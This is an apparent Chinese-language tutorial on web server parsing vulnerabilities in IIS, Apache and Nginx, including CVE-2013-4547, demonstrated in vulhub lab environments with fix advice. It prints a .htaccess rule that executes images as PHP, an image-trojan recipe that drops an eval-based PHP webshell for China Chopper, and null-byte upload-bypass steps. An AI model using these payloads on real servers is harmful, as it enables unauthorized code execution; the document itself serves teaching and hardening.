解析漏洞#
當我們訪問 web 伺服器時，如：www.example.com/index.php 文件時，向 web 伺服器發出請求，訪問 php 文件，php 的解析器將 php 文件解析成靜態文件，返回給瀏覽器供用戶瀏覽。
伺服器解析漏洞就發生在瀏覽器向伺服器上傳文件時，伺服器把攻擊者惡意構造的文件進行解析，並返回給瀏覽器，從而達到上傳惡意文件的目的。
IIS5.x/6.0 解析漏洞#
IIS 的解析方法有兩種
1、目錄解析
如果伺服器上存在一個目錄為 xx.asp，那麼在這個目錄下的文件都會被解析成 asp 文件。
2、文件解析
通過菜刀進行連接即可連接成功。
IIS6.0 除了執行 asp 文件外，還可以執行如：asa、cer、cdx 等文件後綴的文件。可結合目錄解析漏洞進行利用。如：xxx.cer/xxx.jpg，xxx.asa;.jpg。
apache 解析漏洞#
1、多種後綴
apache 對文件後綴的識別是從右往左進行解析，如：xxx.php.hcx.hts。會先判斷右邊的.hts 後綴，發現這個後綴不正常，開始解析.hcx，最終解析到 php 文件，從而執行惡意文件。
查看 php 的模塊配置文件 /etc/apache2/mods-available/php7.0.conf
#從下面的FileMatch中可以看到".+.ph(p[3457]?|t|tml)$"，$代表最後一個，說明php本身
#還是檢測最後一個後綴的 。
<FilesMatch ".+.ph(p[3457]?|t|tml)$">
SetHandler application/x-httpd-php
</FilesMatch>
<FilesMatch ".+.phps$">
SetHandler application/x-httpd-php-source
# Deny access to raw php sources by default
# To re-enable it's recommended to enable access to the files
# only in specific virtual host or directory
Require all denied
</FilesMatch>
Deny access to files without filename (e.g. '.php')
<FilesMatch "^.ph(p[3457]?|t|tml|ps)$">
Require all denied
</FilesMatch>
Running PHP scripts in user directories is disabled by default
To re-enable PHP in user directories comment the following lines
(from <IfModule ...> to </IfModule>.) Do NOT set it to On as it
prevents .htaccess files from disabling it.
<IfModule mod_userdir.c>
<Directory /home/*/public_html>
php_admin_flag engine Off
</Directory>
訪問如下，php 未解析，直接返回源代碼：
接下來，我們將上述那段配置文件中的$改成\.線。
<FilesMatch ".+\.ph(p[3457]?|t|tml)\.">
SetHandler application/x-httpd-php
</FilesMatch>
<FilesMatch ".+\.phps\.">
SetHandler application/x-httpd-php-source
# Deny access to raw php sources by default
# To re-enable it's recommended to enable access to the files
# only in specific virtual host or directory
Require all denied
</FilesMatch>
# Deny access to files without filename (e.g. '.php')
<FilesMatch "^\.ph(p[3457]?|t|tml|ps)\.">
Require all denied
</FilesMatch>
# Running PHP scripts in user directories is disabled by default
#
# To re-enable PHP in user directories comment the following lines
# (from <IfModule ...> to </IfModule>.) Do NOT set it to On as it
# prevents .htaccess files from disabling it.
<IfModule mod_userdir.c>
<Directory /home/*/public_html>
php_admin_flag engine Off
</Directory>
</IfModule>
重啟 apache 服務。
service apache2 restart
文件解析成功。
2、罕見後綴
apache 會解析特定的 mime 類型的文件，在 /etc/mime.types 文件中定義了可以解析的文件後綴格式。
如果站點的文件上傳處，未對在 mime.types 文件中類型進行過濾，那麼有可能攻擊者可以通過上傳 apache 解析的異類 php 文件後綴，從而繞過站點過濾器。
3、.htacesss 文件
在網站根目錄默認不存在.htaccess 文件，需要自己建立，.htaccess 內容如下
AddType application/x-httpd-php xxx
<FilesMatch "shell.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
.htaccess 功能默認是未開啟的，訪問結果如下：
編輯 apache 配置文件
將 AllowOverride None 改成 AllowOverride All
<Directory />
Options FollowSymLinks
AllowOverride All
Require all denied
</Directory>
<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>
<Directory /var/www/>
Options Indexes FollowSymLinks
AllowOverride All
Require all granted
</Directory>
#<Directory /srv/>
# Options Indexes FollowSymLinks
# AllowOverride None
# Require all granted
#</Directory>
並且將.ht 開頭的匹配改成 granted.
<FilesMatch "^.ht">
Require all granted
</FilesMatch>
3、加載 rewrite 模塊
創建軟連接
cd /etc/apache2/mods-enabled/
ln -s ../mods-available/rewrite.load rewrite.load
如上，.htaccess 功能已經開啟。在網站根目錄 (/var/www/html) 建立相應的測試文件。
root@kali:/var/www/html# tree
.
├── index.html
├── index.php
├── shell.jpg
├── test
│ ├── shell.jpg
│ └── [type.xxx](http://type.xxx/)
└── [type.xxx](http://type.xxx/)
shell.jpg 和 type.xxx 的內容均為
<?php echo 'HELLO WORLD'; ?>
瀏覽器訪問 shell.jpg 圖片後綴和 type.xxx 的文件，直接執行了 php 代碼文件。
合理的利用.htaccess 文件可以很好地繞過 php 後綴的過濾。
nginx 解析漏洞#
Nginx 是一款高性能的 web 伺服器，使用非常廣泛，其不僅經常被用作反向代理，也可以非常好的支持 PHP 的運行。
Nginx 在0.5.*, 0.6.*, 0.7 <= 0.7.65, 0.8 <= 0.8.37版本中曾被發現存在較為嚴重的安全問題，默認情況下可能導致伺服器錯誤的將任何類型的文件以 PHP 的方式進行解析，這將導致嚴重的安全問題，使得惡意的攻擊者可能攻陷支持 php 的 nginx 伺服器。
nginx 漏洞環境搭建起來比較麻煩，還是直接用漏洞平台吧！
所以，就拿 vulhub 漏洞平台進行演示。
vulhub 項目地址：https://github.com/vulhub/vulhub
vulhub 漏洞平台基於 docker 進行搭建，docker 的好處是漏洞環境可以直接拉取下來，直接可以使用，不用自己重新去搭建環境。
1、安裝 docker
# 安裝pip
curl -s https://bootstrap.pypa.io/get-pip.py | python3
# 安裝最新版docker
curl -s https://get.docker.com/ | sh
# 啟動docker服務
service docker start
# 安裝compose
pip install docker-compose
2、vulhub 用法
# 拉取項目
git clone https://github.com/vulhub/vulhub.git
cd vulhub
# 進入某一個漏洞/環境的目錄
cd flask/ssti
# 自動化編譯環境
docker-compose build
# 啟動整個環境
docker-compose up -d
以上來自 vulhub 的 readme
注：
1、啟動環境時，注意系統時間的設置，如果時間不一致會報錯。
Get https://registry-1.docker.io/v2/: x509: certificate has expired or is no
nginx 解析漏洞與 nginx、php 版本無關，屬於用戶配置文件配置不當造成的，但在高版本的 php 中，引入了 “security.limit_extensions” 機制，默認只解析後綴為.php 的文件。
nginx 版本如下：
Nginx 拿到一個 test.jpg/.php 的文件之後，看到 url 最後面的 php 文件後綴，便認為是 php 文件，交給 php 解析器進行處理，但 php 解析器為發現這個 php 文件，便去掉 php 後綴，取 test.jpg，test.jpg 存在但不是 php 文件而是圖片文件，php 解析器不解析，返回 Access denied。
nginx 解析漏洞有 80sec 組織發現的，當在 fastcgi 開啟的情況下，攻擊者上傳一個 jpg 文件，內容如下：
<?PHP phpinfo() ?>
然後訪問 xxx.jpg/.php 文件，那麼這個文件會解析成 php 文件。
此時，顯示如下：
顯示Access denied。
這是因為在最新版的 php.ini 配置文件中，cgi.fix_pathinfo=1，默認為 1，如果將 cgi.fix_pathinof 設置為 0，那麼就不解析後面的後綴了，解析漏洞也就不存在了。
現在還解析不了，因為在新版本的 php 中引入了 “security.limit_extensions” 機制，限制了可執行文件的後綴。
# 查找php-fpm.conf文件
# find / -name php-fpm.conf
/etc/php-fpm.conf
php-fpm.conf 文件包含了包含了 /etc/php-fpm.d/*.conf 目錄下的文件配置。
進入到 /etc/php-fpm.d/ 目錄下，編輯相應的配置文件。
重啟 nginx 和 php-fpm 服務。
瀏覽器訪問
# 製作圖片馬
copy xx.png/b + yy.txt/a xy.png
yy.txt內容如下：
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
上傳一個 png 圖片馬，瀏覽器訪問。
菜刀訪問生成的 shell.php 文件，http://192.168.63.131/shell.php。
參考：
https://blog.csdn.net/wn314/article/details/77388289
修復建議
1、將 php.ini 配置文件中的 cgi.fix_pathinfo=1 改成 cgi.fix_pathinfo=0
2、通過新版本的 php 中引入了 “security.limit_extensions” 機制，限制了可執行文件的後綴。
Nginx 文件名邏輯漏洞（CVE-2013-4547）#
影響版本：Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
nginx 的配置文件中：
location ~ \.php$ {
root html;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
# try_files $uri = 404;
}
默認匹配到.php 結尾的文件就發給 fastcgi 進行解析，
在cgi.fix_pathinfo=0的情況下，默認只允許執行 php 後綴的文件，如果存在 Nginx 文件名邏輯漏洞（CVE-2013-4547），則非法字符空格和截止符（\0）會導致 Nginx 解析 URI 時的有限狀態機混亂，允許攻擊者通過非編碼空格繞過後綴限制，從而執行 php 代碼。
利用 vulhub 環境測試。
表單框如下：
1、上傳 gif 圖片文件，burp 攔截請求。
gif 圖片文件內容如下：
<?php phpinfo();?>
將1.gif改為1.gif[空格]，.gif後面加一個空格，點擊 forward，提示上傳成功。
2、瀏覽器訪問
瀏覽器訪問192.168.63.140:8080/uploadfiles/1.gif...php，在 gif 後面加...php，方便改包，burp 將請求包攔截下來。
將 gif 後的第一個點改為 20，第二個點改成 00，點擊 forward。
最終請求的 url 就是
192.168.63.140:8080/uploadfiles/1.gif1.gif[0x20][0x00].php
3、php 代碼成功執行。
總結#
好早之前寫的一篇文章了，如果文件上傳功能點白名單，通常需要配合解析漏洞才能利用，解析漏洞現在也越來越少了，中間件的版本畢竟都變高了。